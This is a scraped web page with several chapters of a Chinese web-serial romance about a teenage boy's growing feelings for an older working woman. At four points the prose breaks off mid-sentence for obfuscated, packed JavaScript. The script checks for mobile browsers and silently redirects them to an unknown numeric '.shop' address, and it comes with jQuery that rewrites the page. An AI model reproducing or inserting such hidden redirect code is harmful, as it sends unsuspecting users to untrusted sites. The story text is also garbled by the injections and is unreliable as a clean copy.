l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13382125|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里面的库房给您拿条新的。”服务员做成一单,喜上眉梢。“哦~美女,我们这个项链是新品,不打折哦~” 舒瑶看了眼标签,价格在自己可承受的范围之内,于是点点头,继续兴致勃勃地看其他款的项链。 转了半圈,她忽然觉得有点不对劲。 沈曜不见了。 舒瑶回头绕着店铺扫视了一圈,才发现他站在收银台那边,举着手机,似乎正在扫码付款。 舒瑶心里一惊,有种不好的预感。 她急匆匆地跑过去想要阻止,为时已晚。 沈曜手里提着一个礼品袋,转过身,绕开身后的几位顾客,三步并两步走到她的面前,对她笑着晃了晃那个袋子。“送给你。” 舒瑶嗔怪地瞪着他,轻轻训斥道:“你干嘛呀!钱多烧的?谁要你买这些了!” 沈曜不以为意,拿出袋子里装的小礼盒递过去,“我过生日的时候,你送的那套乐高怎么也得上千了吧。我买个小礼物,当做补给你的生日礼物。不行啊?” 舒瑶想起十几天前自己刚刚过完生日,那时候沈曜在川城忙着期末考试。他这么说的话,也说得通。 舒瑶不是矫情的人,朋友之间有来有往是再正常不过的事。见沈曜兴冲冲的样子,如果不收他的这份礼物,他肯定觉得倍儿没面子,也会很扫兴。 唉……收了就收了吧。下次再找机会补给他就是。 舒瑶接过他递来的小礼盒,笑叹,“好吧。你不会因为买这个,往后一个月就没钱吃饭了吧。” “不贵。项链加一对耳环,才300多。柜员姐姐看我长得帅,把我的单子和前面的客人拼在一起,打了七折。”沈曜对她做了个wink的眨眼动作,翘起嘴角笑得好不得意。 舒瑶才知道他居然还连着耳钉一起买了,委婉地埋怨他,“那你买个项链就行了啊。干嘛还要买耳环?” 沈曜替她拿过手提包,方便她空出双手去拿那套饰品。“凑一套多吉利啊。而且我看你经常换不同款的耳环,你应该也很喜欢收集耳环吧?” “这倒是。没想到你还挺细心的,连我的喜好都被你看出来了。”舒瑶松了口气,三百多的确不算贵。至少自己给他的红包绰绰有余了。 打眼一瞥,舒曜见少年笑得十分嘚瑟,有点受不了他,“你把你那个笑容收收,像个痞里痞气的小白脸。” 26.春风不解风情(四) “切~我本来就是小白脸啊。”沈曜又开始和她斗嘴,“而且是巨帅无比的小白脸。” 舒瑶本来想呸他一声,骂他“幼稚鬼”,但是在莹煌澄亮的灯光下,见他笑得眉眼风流,那个“呸”字就被堵在了喉咙口。 别人耍帅,他不用。他是真帅。 舒瑶对他翻了个白眼,“行了行了。知道你帅了。不过再帅你还是个未成年!” 沈曜的眼眸亮晶晶的,期待地盯着舒瑶,“你戴上给我看看呗?收到别人的礼物,当场拆开使用,是对对方最大的尊重。” “行啊。”舒瑶感叹道:“没想到我人生第一次收到异性送的项链耳环,居然是你这个毛头小子送的。” 沈曜侧过身,默默为她隔开店里走来逛去的其他客人,稀奇问道:“你那前男友没送过你这些吗?” 舒瑶仔细地拆开包裹在项链外面的包装袋,不在意地回道:“我们才谈了一个多月。平时都在忙项目,偶尔在学校附近逛一下,看电影也是来去匆匆。哪儿有空逛饰品店啊。他当时提过想送我铂金项链,不过被我拒绝了。我们那时候才谈没多久,有今天没明天的,贵重物品我可不敢收。” 沈曜挂在嘴角的笑意越发灿然,“看来一切都是天意~” 舒瑶收了他送的项链和耳钉,却没收她以前男朋友的,这使得他心里很是熨帖。他弄不清自己究竟是个什么想法,但舒瑶此时的言行无疑让他感到心满意足。 “什么天意?年纪不大,还挺迷信。”舒瑶嘲他。 “就是天意。别拿‘迷信’当借口。”沈曜不服。 两人一边斗嘴一边走到店面的角落,免得杵在路中间挡别人做生意。 舒瑶找了面镜子,将那对耳环先戴上,又去戴项链。 “嘶……” 没想到项链的扣环勾住了她几根头发,她反手扯了两下,没解开,还怪疼的。 沈曜站到她身后,低头凑近看了眼,“你别动,项链把你头发勾住了。我给你解开。” 舒瑶无法,只得请他帮忙。 沈曜轻轻将她其余的长发撩到肩膀前,手指不小心碰到她纤细微凉的脖子,不禁抖了一下,心跳漏了两拍。 “你、你别动。扣环缠了你好几根头发。”两人极少挨得那么近,近到沈曜能清晰地闻到她洗发水的香味。 那是一股清幽冷淡的香气,透出点点的禅意,让人不自觉的联想到雪山上的松柏,非常特别。市面上似乎很少有这个香味的洗发水。 沈曜捧着她的头发,愣住了。 “好了吗?”舒瑶觉察到身后没有动静,隔了须臾,她感觉自己的一撮头发却被少年轻轻扯住,轻柔地撩起来。“怎么了?” “舒瑶。你头发好香,一点儿都不甜腻。你用的什么牌子?”沈曜心思单纯,他觉得好闻,就揪起舒瑶的头发大大方方地放在鼻尖闻了又闻。 这种香味他以前从来没闻过。 舒瑶听他这么问,也就不催他,权当一只大狗狗在闻她的头发,“冷绵。超市里没得卖。我是网购的。” 那股幽香浸人心脾。 沈曜极喜欢这个味道,“有链接吗?发一个给我?” “好啊。等会儿就发你。”舒瑶看了眼店里的时钟,电影还差五分钟就要开场了,“咱们快走吧。电影马上就开始了。” “好。”沈曜嘴上应着,手里仍攥着舒瑶那缕柔滑的长发舍不得松开。 舒瑶人都往前走了两步,发觉头发还被少年握在掌心,好笑道:“松手啊。” 沈曜如梦初醒,只得放下那缕长发。 - 电影的节奏很紧凑,特效也做得超棒。沈曜看得目不转睛,到了紧张刺激的画面还会情不自禁地握紧拳头。 舒瑶对这类电影感觉一般,所以偶尔还会瞄一眼手机。 林娓娓的消息在中途发了过来。 [娓娓到来:瑶瑶,你干嘛呢?我在亲戚家呆的好无聊哦。] [你瑶姐姐:带娃 :)] [娓娓到来:啊?沈曜啊?你们不是就吃个中饭吗?这都快五点了,你们还在一起玩儿呢?] [你瑶姐姐:他难得来海城。我陪他看个电影。] [娓娓到来:我等会儿回家,和你顺路,我开车来接你吧。顺便你给我看一眼小帅哥!就一眼!拜托拜托~我就想看个活的!] 通过消息舒瑶都能想到闺蜜那没出息的样子。 她忍不住翻了个白眼,继续回林娓娓的消息。 [你瑶姐姐:你知道我们在哪家影院么,你就说顺路 = =] [娓娓到来:不知道。但是必须顺路!不顺路我也得让它变成顺路!] [你瑶姐姐:怕了你了。我等会儿把定位发给你。你看一眼就行了啊,别吓到人家孩子。] [娓娓到来:就一眼。就看一眼~敬礼!] 说是这么说,但当林娓娓真的接到舒瑶他们,问了沈曜居然和她家同方向,于是还是先把他送回了他外公外婆家。 - 年初五是海城迎财神的日子。 从清晨五点开始,就不停地有人放鞭炮。有些讲究的人家,还会在窗台或客厅点香、摆上几样糕点和小菜迎接财神。 沈志鹏塞上耳塞,勉强能继续睡个懒觉。他平时工作繁忙,每天几乎六点半就得起床。所以过年放假这几天,他都要睡到早上七点半以后才起来。 上午八点,屋外还能听到零星的鞭炮声。 沈志鹏睡得迷迷糊糊的,眯着眼睛去厕所。找了一会儿没找到,才有点清醒过来。他不在自己家,而是在前妻的父母家。 他转了个方向,朝卫生间走去。还没推开门,就听到里面传来一阵阵的水声,像是有人在洗衣服。 他站在门口等了一会儿,卫生间的门打开了。 平时帅到发光的儿子,此刻正顶着一对大大的黑眼圈,青春的脸上难得透出憔悴,拿着一条刚洗好的内裤走出来。 少年看见他老爸站在门外,尴尬的怔了几秒。 沈志鹏也是过来人,见他大清早洗内裤,了然笑道:“行啊小子,终于像个正常男人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13396905|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了。想当年我大早上起来洗内裤,比你现在还小一岁呢。” 沈曜不耐烦,小声嘀咕,“别烦了。你就当没看见。”说完也不等沈志鹏回话,转身疾步走到阳台晒裤子去了。 今早是个好天气,阳光明媚、空气清新冷冽,特别醒神。 沈曜晒完裤子,靠在阳台边往楼下东面的公园眺望,深深呼吸了一口新鲜的空气。 他终于理解周思诺说的“女神入梦”是什么感觉了。 他觉得昨晚,他梦中的女神,有具体的样貌了。 沈曜盯着一棵苍劲挺拔的松树,出神地回想起昨夜的美梦。 白茫茫的一片迷雾中,那个女生梳着高马尾,穿着浅蓝色的牛仔外套,里面是一条浅米色的学院风连衣裙,轻松地倚在他学校的篮球场边看他们打球。 春风吹过,吹散了些许雾气,扬起她的裙角,也吹动了他的潜意识。 那时候自己还小,对男女之情没有任何感觉。他只是发现,那个女生长得很漂亮,眉清目秀、风姿绰约,让人一看就觉得眼前一亮。 可是现在,他已进入花季雨季的年纪。回忆被风一吹,便像是在心湖里撩起一圈圈的涟漪、一层层的细浪,回想那段日子,才惊觉令人怀念。 男生们说的白月光学姐,应该就是她当年那般模样吧…… 沈曜向她跑过去,伸出手想去拉她纤细白皙的手腕,那女生却笑着躲开了。他只牵住了她牛仔外套的袖子。他想用力抓住她,却不小心将她的外套拉了下来。 画面一转,那女生眨眼间换了套衣服。 黑色的厚绒西装外套,里面搭配一条欧洲复古风的宝蓝色灯芯绒连衣裙,她端庄地立在他眼前,笑盈盈望向自己的眼睛里仿佛含着一汪秋水,波光潋滟,动人心魄。 沈曜感觉自己的心跳渐渐加速,他小心翼翼地靠过去,终于牵到她的手。可那女人又倏然收起笑意,板起面孔,转身跑远了。 沈曜心里十分着急,怕她生气,拼命追上去想挽留她。 幸好女生的脚步不快,沈曜追了一会儿,又追上了她。 这次他不再犹豫,用力按住她的双肩,将她转过身,一把紧紧搂进怀里扣住。女生尝试推开他,他却将她拥得更紧。 女生头发上的香气清幽冷淡,他知道,那是“冷绵”的香味。他被那味道撩拨的晕沉沉的,脑中只想与她更亲近些。 女生两手抵在他的肩上,轻轻将他推开一段距离,仰头温柔地唤他,“沈曜。” 沈曜看清了她的脸,心如鼓捣,连呼吸都变得急促起来。 “舒瑶。”他在梦里低喃她的名字。 他犹豫着再次靠近她,微低下头,近到可以感知她嘴边如兰的气息…… - 楼下传来一声车辆倒车的AI提示女声,将沈曜唤回了神。 他烦躁不已地拨了把头发,感觉心里乱糟糟的,脑子里也是一团乱麻。 想起昨夜梦见舒瑶,沈曜的心跳如擂鼓,连呼吸都不顺畅起来。 事情好像变得不太妙了…… 27.春风不解风情(五) 高中生的寒假短的可怜。尤其是像华杨中学这种在川城排名第一的状元中学。年初八就开始恢复上课了。 开学第一天,大家都有点不在状态。周思诺作为吊车尾挤进了精英班,好歹算是和好哥们儿凑一块儿了。 上了一上午的课,周思诺有气无力地趴在课桌上装死,“想睡觉、想吐、想打游戏……” 华杨中学是没有所谓的同桌的。每个人都是单独座位。八人成一列,班级里一共五列。每列之间都有一条约莫半米宽的过道隔开。 周思诺在课桌上滚了滚脸,实在无聊,他侧过头看向隔壁组与自己并排的后一个座位,想招惹一下好兄弟,让他给自己提提神。 周思诺将草稿纸捏成一团,用手指一弹,那个小纸团就被精准的弹到了沈曜的肩膀上。 谁想到那家伙比自己还不靠谱,眼睛一直盯着窗外,手上的笔却是转个不停。对于飞来的纸团,他压根儿就没感觉到。 这是光明正大的神游太虚啊…… 周思诺轻声叫他:“沈曜。沈曜。” 沈曜没理他,继续单手支着脑袋,眼睛直勾勾地望着窗外。 周思诺大喝一声:“沈曜!” 周围好几个趴着午休的同学被他惊了一下,抬起头不约而同地给他送白眼。 沈曜终于转过头,散漫地给了他一个眼神警告,才回应他:“干嘛?叫魂儿啊。” “嗯呢~可不么。我还以为你灵魂出窍了。”周思诺假装正经地点点头,“你想什么呢?想得这么出神。我看你这一上午都心不在焉的,怎么了?钱丢啦?” 沈曜“啧”了一声,皱起眉头,说了句“心烦”。 周思诺见他脸板着、眉毛拧着,真是一副心烦意乱的模样。 细细品了品,周思诺那根他所属领域的雷达,动了。 他朝左右瞄了瞄,同学们睡觉的睡觉、做题的做题。很好、很安全。于是摸出手机,给沈曜发了条消息。 [诺诺不糯糯:这位兄台。我看你这魂不守舍的样子,像是被哪个小妖精给勾了魂儿啊?] [曜:你很闲?] [诺诺不糯糯:哎呀别害羞嘛。有什么难事儿?说给我听听,说不定我能帮你呢?] 等了一会儿,不见回音。周思诺转过头,对着沈曜一阵挤眉弄眼。 沈曜烦躁地揉了揉后脑勺,认命了。 [曜:我好像中招了。] [诺诺不糯糯:听你这语气,我感觉有大事发生。什么事儿啊?快说快说!] [曜:我最近总想见我女神……] [诺诺不糯糯:哦,就这?] [诺诺不糯糯:……] [诺诺不糯糯:等等等等!!!你什么时候有的女神?] 周思诺猛地直起背脊,动作幅度太大,将隔壁组平排的数学课代表惊到了。 课代表的眼镜在青天白日里闪过一道寒光。 周思诺浑身一僵,想要藏起手机已经来不及。 他们学校每天早晨七点半都会集中将手机上交,到了放学再发还给学生们。 不过总有那么几个例外,会带两个手机进学校。沈曜和周思诺就是那些例外中的一份子。 课代表狠狠瞪了一眼周思诺,对他做了个抹脖子的凶残动作,又转回头羞答答地看了一眼坐在自己身后的沈曜。 她用嘴型警告周思诺:低调点,再影响我就告老师。这次暂且饶你不死! 周思诺点头哈腰,对她双手合十隔空传音:抱歉。下不为例。您继续奋笔疾书吧~ 见课代表被安抚了。周思诺才划开手机屏保看沈曜的消息。 [曜:我也不知道。算是最近刚有?] [诺诺不糯糯:是我们学校的吗?长得美吗?身材火辣吗?] [曜:关你屁事。] 看见消息的周思诺一头黑线。 独占欲还挺强。连打听都不让打听…… [诺诺不糯糯:别这样嘛。你也知道我很会追女生的。你告诉我,我好避个嫌。] 这话周思诺倒是没说错。他是个社牛,特别会讨小姑娘喜欢。 沈曜认真思考一番,才肯和他透露一小点儿。没办法,这家伙是个大嘴巴,凡事让他知道基本就瞒不住了。 [曜:不是我们学校的。你应该没什么机会见到她。] 最近刚有?不是我们学校的?周思诺的脑子转了两转,明白了。 [诺诺不糯糯:好啊你!寒假趁我不在,跑出去吃独食了你!说!是哪个成了精的女妖怪,居然把我们文锦区的区草给拿下了?!] 沈曜的脸顿时黑了。 [曜:你再胡说,我就拿课桌抡你] 也许是感觉到他没在开玩笑,周思诺偏头一瞧,见沈曜翘起二郎腿,挑起一边眉毛,眼神桀骜又阴鸷地盯着自己。 周思诺抖了抖身子。原来这家伙是来真的? 真动心了啊…… [诺诺不糯糯:别别别。我错了大哥。] [曜:心烦。不说了。] [诺诺不糯糯:别呀。你喜欢人家,当然是去追啊。只要把人给追到手,还不是想怎么见就怎么见了。] [曜:追到了也很难见到。] 而且她比自己年长很多,估计在她眼里,都没拿自己当个男人看。 这场爱恋,自己连入局的资格都还不够呢。 沈曜沉沉叹了口气,心浮气躁。 看完消息,听到沈曜那声沉重的叹息,周思诺被自己的猜测雷了一下。 [诺诺不糯糯:不是吧兄弟!你长成这副“骗小姑娘一骗一个准儿”的模样,还搞网恋呐?] [曜:不是网恋。现实里早就认识,但是异地。] [诺诺不糯糯:你早就认识人家,最近才动心?] [曜:怎么。不行啊?] [诺诺不糯糯:依据我的判断。你应该是第一次见她就觉得挺好看,嗯……也就是所谓的顺眼,或者换个说法,叫一见钟情。相处时间长了,对方性格如果还很好,那么日久生情是必然的结果。] [曜:还有这种说法?] 沈曜回忆了一下,没否认。 [诺诺不糯糯:当然了。我们男人都是视觉性的生物。如果看着不顺眼,怎么可能日久生情。] [曜:我现在该怎么办?] 沈曜完全没有这方面的经验,虽然知道周思诺不靠谱,但他好歹也谈过两次恋爱,相比于自己,肯定更了解异性一些。 提到办法,那可真是有些麻烦。周思诺也被难住了。异地恋他也没经历过。 现在他们的课业这么紧,根本不可能频繁地去外地见喜欢的人。 思来想去,他只能提出一个暂时缓解思念的方法。 [诺诺不糯糯:你要是实在想念得紧呢。就像我一样,放点照片在身上,没事的时候拿出来看看定定心。偶尔找机会和她连连视频、打打电话啥的缓解一下相思。] [曜:你的照片平均两星期就会换一个人。] 沈曜面无表情的吐露事实。 [周思诺:呃……这不是重点!我那是不定性,等我遇见了我的真命天女,自然就不换了。] [曜:呵。] [诺诺不糯糯:……] 一个“呵”字,满满的嘲讽意味扑面而来。周思诺心虚了。 世界短暂的清静下来。 沈曜翻了翻手机相册里存下的舒瑶发在朋友圈的两张自拍照,认真思考了一下周思诺的话。 说不定真有点用。 算了。放学先去一趟照片冲洗店再说。 - 上学的时候总觉得有花不完的时间、用不完的精力。 可真到自己上班了,就发现时间完全不够用。 常见的“职场九九六”用到舒瑶他们这行上, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13434325|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 恨不得变成“职场九九七”。 晚上十点,舒瑶疲惫地抬了抬眼皮。她已经连着加班十多天。总算是把手上的五一活动策划案定稿发给领导了。 她拿起两小时没碰过的手机,翻了翻微信,挑着一些需要回复的,一一回消息过去。 先把工作的事情处理完,再看那些生活圈的亲朋好友的消息。 林娓娓的置顶消息是她挑着第一个看的。 [娓娓到来:宝贝儿,你还加班呀?晚饭吃过了吗?吃得什么?] [你瑶姐姐:吃过一盒牛肉蔬菜沙拉。工作终于做完啦,现在叫车准备回府!] [娓娓到来:吃过就好。上礼拜去你家,都觉得你熬瘦了。一定要好好吃饭哟。] [你瑶姐姐:最近你是和沈曜约好了吗?总问我晚上吃了什么。] [娓娓到来:他也问?] [你瑶姐姐:对啊。他经常问我晚上吃什么,然后发吃的图片来馋我……害得我每天到了饭点不吃东西就会肚子饿。] [娓娓到来:这是拿你当远程饭搭子呢?] [你瑶姐姐:哈哈哈哈你这说辞好新鲜。下次视频我告诉他。] [娓娓到来:又视频?我记得他上礼拜不是和你视频过了嘛?你们这视频的频率是不是有点高?] 看完闺蜜的消息,舒瑶挤挤眉毛,迷迷糊糊的反应过来,好像每隔一个或两个星期,沈曜都会和自己连视频。 或者问自己一些积累在一起不懂的英语题目,或者就随便聊聊家常。每次视频都至少要持续半个小时以上。 从过完年以后,舒瑶的公司就接了三个大项目。她一个接一个的忙,忙得无暇顾及其他生活上的细节。 现在被娓娓一提醒,舒瑶才发现这小孩儿已经和自己这么亲近了。 从什么时候开始他们联系的这么密切的? 舒瑶凝思回忆,发现好像是过完年之后开始的。 舒瑶挠了挠脸,寻思一会儿,想明白了。那少年估计是拿她当亲姐了吧。 [你瑶姐姐:是频繁了点。不过他妈妈去的早,他也没个哥哥姐姐在身边,平时他爹也总是不在家,想想应该很孤单吧。怪惹人疼的。他愿意亲近我,我觉得也是个好事,至少这说明他还是愿意主动去接触这个社会的。] [娓娓到来:被你这么一说,的确是好事啊。高中压力大,要是孤单的自闭了那就太可惜了。多帅的弟弟呀,反正你也是独生女,多个弟弟不吃亏~] [你瑶姐姐:呵呵……你忘记我那个表弟啦?我可不缺弟弟,堂弟还有两个呢。每次过年一聚会,我就被他们闹得头疼。] 想起舒瑶那个表弟,手机那头的林娓娓抽了抽嘴角。 [娓娓到来:沈曜那小孩儿也像他们那么闹腾吗?我过年的时候看见他,虽然真的是帅爆,但感觉就很不好惹的样子,瞧着拽拽的。] [你瑶姐姐:嗯……那倒没有。就挺正常的。不闹也不吵,这个年纪里算是挺成熟的了。只不过嘴挺毒,聊天的时候不自觉的喜欢怼人。偶尔还挺扎心的。] [娓娓到来:嘶。喜欢怼人啊。是挺有性格的哈。] [你瑶姐姐:差不多。不过也挺好的,够真诚。相处起来不累。他要是哪句话说的我不爽了,我就直接怼回去,他也不生气。哈哈~] [娓娓到来:哦~那很好,我最受不了别人气量小。] [你瑶姐姐:对了。他说他这个暑假还要来海城看外公外婆,还让我到时候带他出去近郊玩几天。你不是擅长做旅游攻略么,帮我先参谋参谋去哪里好。我这工作太忙了,六月还有一个商场的儿童节活动要办,我实在分身乏术。] [娓娓到来:近郊?那肯定是去畅游水上乐园啊,有水上游戏、有夜晚烧烤、还有表演可以看。最适合带这种精力旺盛的半大孩子去玩。] [你瑶姐姐:哇~不愧是你。好主意!等我下次视频和他说。] 28.仲夏夜之梦(一) 六月末是仲夏时节,万物并秀,草木欣荣。 舒瑶的公司目前最大的活动案是邻市的一个家居展。舒瑶所在的策划组不负责这类案子,因此最近比较空闲。 前天沈曜给她发消息,说他们的期末考试已经考完了。等这两天他就会启程来海城,在外公外婆家住一个礼拜就回去,七月参加暑期提高班。 对于苦逼的高中阶段,舒瑶心有余悸。 回想她以前的高中只能算个区重点,当年她都被安排的没日没夜的学习。沈曜的高中是川城的Top 1,可想而知学习强度得多大。 估计这整个暑假,也就六月末这几天他能稍微休息一下。 打开旅游APP,舒瑶开始扒拉畅游水上乐园的攻略。她和沈曜约好,这周六带他去那边玩。提前做好攻略,可以减少排队时间。 - 到了约定的那天,舒瑶将各种需要的东西都备齐,开车去沈曜的外公外婆家接他。 沈曜的外公外婆家,与她现在租的房子相距不远。 这天没下雨,因为还没出梅雨天,气压有点低,但好在有徐徐微风不时吹过,夹带丝丝凉意。 舒瑶将车缓缓驶近沈曜所在小区的边门,他已经等在那里。 瘦高的男生穿着浅色系灰蓝相间的运动T恤和短裤,单肩背着一个运动背包,站在夏季的风里,抢眼的仿若破云而出的晨间骄阳,清新又有活力。 舒瑶摇下车窗,笑着朝他招呼道:“上来。” 沈曜坐上副驾驶座,将安全带系好,侧头直直地凝视他思念了好几个月的女人。 舒瑶今天穿了条无袖的夏威夷风格的碎花连衣长裙,戴了副墨镜,专心致志地看着路况开车。 感觉到少年毫无遮掩的炙热视线,好笑道:“干嘛啊?几个月不见,忘记我长什么样子了?” “忘得差不多了。”沈曜挑起嘴角笑道:“看你眼生的很。” 舒瑶也笑,乜他一眼,“考试把脑细胞都烧光啦?不是每星期都有连视频吗?” “视频和真人还是有差距的。”沈曜从背包里拿出一瓶水递给舒瑶,等她接过以后,又拿出一瓶拧开喝了一口,“你怎么穿得和度假一样。” “带你出去玩,可不就是度假嘛。”舒瑶扫了一眼右边的后视镜,转过一个路口,问他:“你吃早饭了吗?” 沈曜摇摇头,“还没。刚起来没多久,没胃口。” 舒瑶从侧边的包里拿了个金枪鱼三明治和一瓶养乐多递给他,“不晕车的话,等会儿就稍微吃点。开车过去得将近两小时呢。夏天空腹容易中暑。” 没想到她会给自己带早饭。沈曜暗自有些惊喜,接过来拆开包装袋,“谢了。你还是这么细心。” 舒瑶嘴上悠然地说:“那是。干我们这行的,细心是必备条件。” 心里想的却是:带娃嘛。怎么能不准备吃的。 - 畅游水上乐园建在海城的南边,是最近几年海城新建的重点旅游项目。 目前已开发出四期主题游乐区。 欢乐海洋主题区专供亲子家庭游玩,其内的沙滩排球、摩托艇、海洋展览馆等都是适合全家游玩项目。 动感魔力城以多滑道滑水跳楼机和真人水战为主,非常受喜欢新鲜找刺激的年轻人们的追捧欢迎。 碧穹天幕公演区荟萃各类表演为一体,各种节庆表演、影视表演、剧场表演、巡游表演和大型水上表演都在这个区开展。 这三个区域的中心地带则是以旅游休闲为主的度假酒店区,其内包括四家大型的风格迥异的度假酒店,中式、西式的皆有。 到了晚上,酒店会举办各具特色的各类聚会和晚宴,不管客人是喜欢中式戏曲还是欧美酒吧风,总能找到一款适合自己的休闲之地,喝点小茶小酒、听听曲儿、吃吃烤串甚至跳跳舞。 占地五万平米的水上乐园,就算只玩其中几样游戏项目,一天也是玩不完的。 舒瑶和沈曜早已提前商量好行程,选了两天一夜的套票。并且花了一小时视频通话,一起制定了游玩计划。 海洋展览馆是室内的,剧场表演和大型水上表演都有遮阳棚,在白天观赏正好可以避免被太阳晒伤。 傍晚,他们决定去动感魔力城的跳楼机和真人水战。 这样一天玩下来,主要的项目都能玩到。晚间,公演区有大型烟花秀,看完烟花秀回去酒店美美的睡一觉。 等到第二天起来,再去玩沙滩摩托艇和潜水,吃完中饭休息一会儿,就可以返程了。 表演是需要提前预约才能观看的。在一个礼拜前,舒瑶已经把要看的表演都预约好了。 因为有了详细的提前计划,因此他们的游玩安排得很有效率。即使有些项目人多需要排队,可两人见缝插针的挨个儿排队随机行动,也没耽搁太久 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13445438|139776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 沈曜和舒瑶平时都是大忙人,各自积累了不少压力。两人白天悠哉地看完展览和表演,到了傍晚以后就彻底放飞自我,玩疯了。 尤其是在真人水战的时候,沈曜拿着水枪,不停地往舒瑶身上招呼,打得舒瑶连连求饶。 好几次舒瑶被他打得差点摔倒,沈曜都会神奇地赶到她面前,一把搂住她的腰,免得她跌倒进水中呛着。 等到缓过气来,舒瑶又会尽全力反击,用水呲得沈曜睁不开眼。 傍晚的夕阳早已没有热力,徒留温柔,将少年乱撞的心跳掩在朦胧里。 舒瑶玩了一会儿,累得靠在水池边中场休息。沈曜便来到她身旁陪着她,他不说话,天真的笑意却一直未曾褪去。 等舒瑶的呼吸平缓一些,缓过劲儿来,两人又进入战斗模式,对着彼此闹腾起来。 少年平时穿着衣服的时候瞧上去瘦筋筋的,水战时只穿泳裤,好身材一览无余。宽肩窄腰大长腿,从胳膊到腹部,肌理流畅分明,像是绸缎裹着的精铸长剑。 马甲线、人鱼线、八块腹肌样样不缺,处处都透出华丽又蓬勃的朝气。看得舒瑶直咋舌,连连说平时被他瘦削的样子给骗了。 沈曜当然也不会放过这么好的欣赏心上人的机会,趁着她眼睛闭起来时猛盯着她直瞧,恨不得把之前几个月没见到的份儿都补回来。 激烈的水站和水里拥挤的人群令他无法起什么旖旎的心思,只单纯觉得看不够她,更要时刻注意留心有哪些咸猪手想靠近她,胆敢靠近她身边的,都被他用水枪给呲得远远的。 两人一直疯到晚上将近八点,舒瑶的体能耗尽了,他们才回到酒店稍作休息。 舒瑶玩得腿都快软了,回到酒店冲了个澡,拖拖拉拉的在床上赖了好一会儿,迷迷糊糊睡着了。 半梦半醒间,她只有一种体会。带孩子真累,虽然开心,但也是纯纯的体力活儿,不比大学军训强度小。 直到隔壁的沈曜等得不耐烦,过来敲她的房门催促她,舒瑶才艰难地从床上爬起来,两人一起去楼下的户外餐厅里觅食。 舒瑶早上穿的那条裙子已经被汗打湿弄脏了。于是她换了一条无袖的雪青底色的波西米亚雪纺连衣裙,这条裙子上有各种或深蓝或浅蓝的蝴蝶印花,很有海边度假的风情。 沈曜站在她房间门口,见她清新靓丽、身姿修长婀娜,绯红一直从脸蔓延到脖子。 29.仲夏夜之梦(二) 幸亏走廊的灯光有些昏暗,才不至于让他在舒瑶面前出丑。 沈曜羞涩地低头勾着指头蹭了蹭鼻梁,情不自禁地低喃:“你真好看。” 舒瑶恰好关上房门,关门声盖过了他的低语。 “你说什么?”舒瑶还没睡醒,仍处于头晕脑胀的状态,就没听清。 “吃个饭而已,你穿这么好看干嘛?”沈曜暗自心虚,神色和语气都有些不自然,说话的嗓门就大了点儿。 舒瑶笑着白他一眼,“这哪叫好看?这不是度假常规款吗?你不也穿的花花衬衫沙滩裤。我看你这花色也够艳的,幸好你是浓颜,才压得住这么亮的颜色。” “切~那是。”沈曜就算个子高,到底是少年心性。舒瑶的夸赞让他从头舒坦到脚,得意之情溢于言表。“怎么样?我帅吧?” 舒瑶敷衍道:“帅帅帅。可帅了,不过我家族里的叔伯兄弟都是浓颜,我从小就对浓颜系免疫了。嘿嘿嘿~” 沈曜的脸瞬时黑了,“就不能好好夸夸我么!” 两人你一句、我一句的互相伤害,直到进了餐厅才停下。 他们住的是西班牙风格的酒店,露天餐厅的周围围满了高低错落的星星形状的迷你小彩灯,海浪似的轮番闪动,亮晶晶的和天上的星光遥相呼应。 餐厅的吧台旁有一个小型舞台,一组乐队奏着西班牙街头的乐曲,浪漫轻松的异国乐曲将餐厅的气氛烘托地十分悠闲惬意。 舒瑶睡眼惺忪,瞥了眼一旁藤椅上正兴致勃勃看吧台歌手唱歌的少年,单手支着下巴长叹道:“你这小子穿着衣服的时候看着瘦瘦的,没想到体力这么好。玩这么疯都还有精神下楼来吃饭。唉~年轻就是好啊。精力无限。” 沈曜侧过脸,用无奈又带点揶揄的眼神注视她,“是你自己平时不锻炼。才玩没两局,你就耍赖求饶。” 舒瑶被他一眼看穿,不服气又不想承认,于是岔开话题,“唉?我还以为你们这个年纪的男生都是像麻杆儿那么瘦。没想到你瘦归瘦,肌肉线条却很流畅。和我们班当年那些男生一点儿都不一样。” 沈曜哂笑:“你才发现啊。真迟钝。” 